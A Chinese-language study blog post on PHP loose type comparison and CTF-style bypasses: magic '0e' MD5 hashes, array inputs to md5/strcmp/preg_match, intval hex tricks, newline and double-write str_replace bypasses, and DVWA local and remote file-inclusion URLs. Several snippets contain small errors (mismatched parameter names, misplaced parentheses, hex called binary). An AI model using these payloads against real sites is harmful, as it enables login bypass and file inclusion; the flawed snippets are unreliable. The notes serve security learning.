title: php弱类型比较以及绕过
date: 2022-11-20 12 :14 :36
tags: php
categories: 学习笔记
author: Abyssaler
PHP中的弱类型比较
php是一种弱类型语言,对数据的类型要求并不严格,可以让数据类型互相转换
0.强类型与弱类型
强类型
•所谓强类型(Strongly typed),顾名思义就是强制数据类型定义的语言。也就是说,一旦一个变量被指定了某个数据类型,如果不经过强制转换,那么它就永远是这个数据类型。J
•ava、.NET、C++等都是强类型语言,在变量使用之前必须声明变量的类型和名称;且不经强制转换不允许两种不同类型的变量互相操作。
弱类型
•对数据的类型要求并不严格,可以让数据类型互相转换。
1.== 和 ===的区别
php中其中两种比较符号:
==:先将字符串类型转化成相同,再比较
===:先判断两种字符串的类型是否相等,再比较
PHP转换规则
字符串和数字比较使用==时,字符串会先转换为数字类型再比较,若字符串以数字开头,则取开头数字作为转换结果,不能转换为数字的字符串(例如"aaa"是不能转换为数字的字符串,而"123"或"123aa"就是可以转换为数字的字符串)或null,则转换为0;例如
var_dump(12=="12") //true var_dump(12=="12aa") //true var_dump( "admin"==0) //true var_dump(false==""==0==NULL)//true
例子2:
var_dump('a' == 0); //bool(true)var_dump('1a' == 1);//bool(true)var_dump('12a' == 1);//bool(false)
会出现上面的结果是因为字符串在和数字比较的时候会将字符串转化为数字,比如a转换失败成False,False又和0弱类型比较是相等的,所以第一个是true。
但是如果字符串是以数字开头的,那么就会转成这个数字再做比较,所以第二个也是true,第三个则是因为转成数字后变成了12,不等于1,则为false。
2.布尔型和任意比较
布尔值true和任意字符串都弱相等,除了0和false,因为0也认为是bool false,true是不等于false的,例如:
var_dump(true=="hyuf") //truevar_dump(True == 0); //bool(false)var_dump(True == 'False'); //bool(true)var_dump(True == 2); //bool(true)
3.hash值和字符串“0”比较
$str1 = "a";echo md5($str1);//0cc175b9c0f1b6a831c399e269772661var_dump(md5($str1) == '0');//bool(false)---------------------------------------------------------$str2 = "s224534898e";echo md5($str2);//0e420233178946742799316739797882var_dump(md5($str2) == '0');//bool(true)---------------------------------------------------------$str3 = 'a1b2edaced';echo md5($str3);//0e45ea817f33691a3dd1f46af81166c4boolvar_dump(md5($str3) == '0');//bool(false)---------------------------------------------------------var_dump('0e111111111111' == '0');//bool(true)
- 其实我觉得这个不应该叫做hash值和字符串0的比较,应该叫做科学计数法和字符串和0的比较,只要是以0e开头,后面为数字的字符串和字符串0比较值都是相等的,因为不管0不论和多少相乘都是0。
- 所以当hash出来的32个值,开头前两个为0e,后面全部为数字的话,他们就会和字符串0相等的。
- 第一条只是0开头,所以只能当普通字符串,结果为false。
- 第二条0e后面全为数字,符合要求,结果为true。
- 第三条虽然为0e,但是后面不全为数字,所以结果为false。
- 最后一条就是告诉大家,不是只有hash才能和字符串0相等。
- 数字和“e"开头加上数字的字符串(例如"1e123”)会当作科学计数法去比较;
- 当字符串被当作一个数值来处理时,如果该字符串没有包含’.’,‘e’,'E’并且其数值在整形的范围之内,该字符串作为int来取值,其他所有情况下都被作为float来取值,并且字符串开始部分决定它的取值,开始部分为数字,则其值就是开始的数字,否则,其值为0。
4.Strcmp函数的漏洞
strcmp()用法如下
有一些细节需要注意下
strcmp(s1,s2)说明:当s1s2时,返回正数 注意不一定是1,测试结果是比较字符串长度如果两个字符串不同等,但是字符串长度相同,就比较从哪一位开始不同的,然后比较那一位的大小。即:两个字符串自左向右逐个字符相比(按ASCII值大小相比较),直到出现不同的字符或遇'\0'为止。如:"A"<"B" "a">"A" "computer">"compare"
特别注意:strcmp(const char *s1,const char * s2)
这里面只能比较字符串,不能比较数字等其他形式的参数,如果出现了其它参数,则会retrun null
,有些题目就是利用这一点来进行和0
的完成比较。
不过测试的结果是只有数组的时候才会出现这个问题,数字不会,和网上的资料有点出入。
$test = 8;if (strcmp($test,"test")){echo "ok!";echo "\n";echo strcmp($test,"test");}else echo "oh no!"?>运行结果ok!-1
传入的是数字,返回的是-1
而不是0
,但传入数组就不一样了。
$test = array();$test[0]=1;print_r($test);if (strcmp($test,"test")){echo "ok!";echo "\n";echo strcmp($test,"test");}else echo "oh no!"?>运行结果Array( [0] => 1)oh no!PHP Warning: strcmp() expects parameter 1 to be string, array given in /box/main.php on line 6
各种绕过
1.switch绕过
具体原理参考站内:
https://abyssaler.github.io/post/ctf%E4%B9%8Bwake_php
2.==绕过
PHP比较运算符 ==在进行比较的时候是弱类型比较,只需要比较两个值相等就行,不会比较类型
绕过方法如:1=1.0,1=+1
$a=1;if($a==$_GET['x']){ echo $flag;}//使用1.0就可以绕过
if($_GET['name'] != $_GET['password']){ if(MD5($_GET['name']) == MD5($_GET['password'])){ echo $flag; } echo '?';}//MD5('QNKCDZO')==MD5('240610708')//echo MD5('QNKCDZO');//echo MD5('240610708');PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
3.===绕过
PHP比较运算符 ===在进行比较的时候,会先判断两种字符串的类型是否相等,再比较值是否相等。只要两边字符串类型不同会返回false
绕过方法:使用数组绕过
if($_GET['name'] != $_GET['password']){ if(MD5($_GET['name']) == MD5($_GET['password'])){ echo $flag; } echo '?';}//name[]=1&password[]=2PHP中md5()函数无法处理数组(会返回NULL)==的也可以用数组绕过
4.intval()函数
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1(注意这个通常配合preg_match来使用)
语法int intval ( mixed $var [, int $base = 10 ] )参数说明:$var:要转换成 integer 的数量值。$base:转化所使用的进制。如果 base为空,通过检测 var 的格式来决定使用的进制:如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,如果字符串以 "0" 开始,使用 8 进制(octal);否则,将使用 10 进制 (decimal)。
绕过方法:通过使用0x或者0开始的格式来绕过不相等的判断(像一些要先判断不相等再判断相等的题目)
$i='666';$ii=$_GET['n'];if(intval($ii==$i,0 )){ echo $flag;}//n=0x29a 666的二进制是29a通过检测 $ii的格式来决定使用的进制
5.strpos()函数
strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。(函数返回查找到这个find字符串的位置,那么如果是0位置,就值得注意了)
注释:strpos() 函数是区分大小写的。
strpos(string,find,start)参数描述string必需。规定被搜索的字符串。find必需。规定要查找的字符。start可选。规定开始搜索的位置
绕过方法:利用换行进行绕过(%0a)
$i='666';$ii=$_GET['h'];if(strpos($ii,$i,"0")){ echo $flag;}//?num=%0a666
6.in_array()函数
in_array() 函数搜索数组中是否存在指定的值。
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )参数描述needle必需。规定要在数组搜索的值。haystack必需。规定要搜索的数组。strict可选。如果该参数设置为 TRUE,则 in_array() 函数检查搜索的数据与数组的值的类型是否相同。
问题就出在第三个参数,如果第三个参数不设置为true就不检测类型,是弱比较,相当于==号
绕过方法:与==一样
$whitelist = [1,2,3];$page=$_GET['i'];if (in_array($page, $whitelist)) { echo "yes";}//?i=1ex
7.preg_match()函数
preg_match 函数用于执行一个正则表达式匹配。
详细用法可以参考:https://www.runoob.com/php/php-preg_match.html
绕过方法:preg_match只能处理字符串,如果不按规定传一个字符串,通常是传一个数组进去,这样就会报错,如果正则不匹配多行(/m)也可用上面的换行方法绕过
if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){[t1] die("no no no!"); } if(intval($num)){ echo $flag; }}//?num[]=1上面介绍过了,intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1
8.str_replace函数
str_replace() 函数用于替换字符串中指定字符(区分大小写)
echo str_replace("world","Peter","Hello world!");?>//输出:Hello Peter!
str_replace(find,replace,string,count)参数描述find必需。规定要查找的值。replace必需。规定替换 find 中的值的值。string必需。规定被搜索的字符串。count可选。一个变量,对替换数进行计数。
绕过方法:str_replace无法迭代过滤 ,可以通过双写绕过
例如:例如page=hthttp://tp://192.168.0.103/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://192.168.0.103/phpinfo.txt,成功执行远程命令。
三个实例:1、本地文件包含http://192.168.0.103/dvwa/vulnerabilities/fi/page=…/./…/./…/./…/./…/./…/./…/./…/./…/./…/./xampp/htdocs/dvwa/php.ini2、绝对路径不受任何影响http://192.168.0.103/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini3、远程文件包含http://192.168.0.103/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/phpinfo.txt
9.json绕过
if (isset($_POST['message'])) { $message = json_decode($_POST['message']); $key ="*********"; if ($message->key ==$key ) { echo "flag"; } else { echo "fail"; } } else{ echo "~~~~"; }?>
输入一个json类型的字符串,json_decode函数解密成一个数组,判断数组中key的值是否等于
k e y 的值,但是 key的值,但是 key的值,但是key的值我们不知道
这时我们构造一个和任意字符串返回为真的数组{“key”:true}。即可绕过
payload=message={“key”,true}
10.array_search的漏洞
array_search() 函数与 in_array() 一样,在数组中查找一个键值。如果找到了该值,匹配元素的键名会被返回。如果没找到,则返回
false。
$a=array(1,4);var_dump(array_search("4admin",$a)); // int(0)=> 返回键值1var_dump(array_search("1admin",$a)); // int(1) ==>返回键值0?>//这个和之前的类型转换类似,但是如果是array_search(“4admin”,$a,true),最后的“true”会禁止类型转换。
这个和之前的类型转换类似,但是如果是array_search(“4admin”,$a,true),最后的“true”会禁止类型转换
部分内容引用自:
https://zhuanlan.zhihu.com/p/30323499
https://blog.csdn.net/u014029795/article/details/99709333
https://www.csdn.net/tags/MtTaMg2sNTc4NDM0LWJsb2cO0O0O.html
来源地址:https://blog.csdn.net/weixin_45349299/article/details/127983551